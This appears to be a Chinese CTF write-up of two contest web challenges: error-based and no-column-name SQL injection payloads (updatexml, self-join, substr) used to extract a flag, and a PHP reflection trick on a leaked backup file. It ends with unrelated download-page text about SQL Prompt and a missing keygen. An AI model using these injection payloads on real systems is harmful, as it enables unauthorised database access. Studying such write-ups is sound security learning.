国赛两道web

easy_sql

STEP1

先在用户名那里注入尝试
在这里插入图片描述
爆出的错误回显是passwd,然后在passwd注入
在这里插入图片描述
在这里插入图片描述
通过这里的报错知道是')闭合,然后查询有几列

admin') order by 2%23

在这里插入图片描述
查询列名成功,有两列

STEP2

使用union select联合查询失败,union被ban掉了,尝试报错注入

admin') or updatexml(1,concat(0x7e,database(),0x7e),1)%23

在这里插入图片描述
用报错注入爆出其中一个数据库,但是在尝试爆破表名的时候,unioninformation_schema都被ban掉了,报错注入不能用
在这里插入图片描述

STEP3

尝试无列名注入

参考之前做的swpu web1和百度方法

-1') or updatexml(1,concat(0x7e,(select * from (select * from users as a join users as b)as c limit 1,0)),1)%23

在这里插入图片描述
得到列名是id

-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id) )as c)),1)%23

猜表明再爆出一个列名no
在这里插入图片描述
然后根据爆出的两个列名再报其他的列名

-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id,no))as c)),1)%23

在这里插入图片描述
出现了一个可疑的列名,再尝试爆破,就没有了

-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id,no,5080dd6a-2456-41bc-badf-c890f83894e8))as c)),1)%23

在这里插入图片描述

STEP4

-1') or updatexml(1,concat(0x7e,(select*from (select `5080dd6a-2456-41bc-badf-c890f83894e8` from flag as a join flag as b using(`5080dd6a-2456-41bc-badf-c890f83894e8`) )as c)),0x7e)%23

爆出前一半的flag
在这里插入图片描述
然后用sunstr截取查看后面的flag

1') and updatexml(1,concat(0x7e,substr((select * from (select `5080dd6a-2456-41bc-badf-c890f83894e8` from flag as a join flag b using(`5080dd6a-2456-41bc-badf-c890f83894e8`))c),31),0x7e),1)%23

在这里插入图片描述

easy_source

ctf中的php反射
先尝试一波备份文件

备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~

.index.php.swo里面

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd

提示说只有一个文件,但是没有
php反射类

?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

在这里插入图片描述

SQL Prompt是Red Gate Software公司开发的一款强大的SQL代码编辑和优化工具,主要面向数据库开发者和管理员。版本11.0.1.16766是一个更新版本,它提供了更高效、更便捷的SQL编写环境,旨在提升SQL代码的可读性、效率和一致性。这个安装包包含了所有必要的组件,用于在用户的计算机上安装SQL Prompt工具。 SQL Prompt的核心功能包括自动完成、智能提示、格式化和重构。自动完成功能能够帮助用户快速输入SQL语句,减少键入错误;智能提示则基于上下文提供可能的选项,加快编写速度;格式化功能允许用户按照自定义或预设的编码规范对SQL代码进行美化,提升代码的可读性;而重构工具则可以帮助用户优化代码结构,消除潜在问题。 在描述中提到的“代码格式化规则来源于网络”,指的是用户可以通过下载网络上的json文件来扩展或定制SQL Prompt的代码格式化规则。这些json文件包含了特定的格式设置,如缩进风格、空格使用、注释位置等。将这些文件复制到指定的目录(例如:C:\Users\用户名\AppData\Local\Red Gate\SQL Prompt 10\Styles)后,SQL Prompt会读取这些规则并应用到代码格式化过程中,使得用户可以根据个人偏好或团队规范调整代码样式。 以下几点请注意: 1. 经实测,此版本支持最新的Sql Server 2022版的SSMS21 2. 此安装包中不包括keygen,请自行解决
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值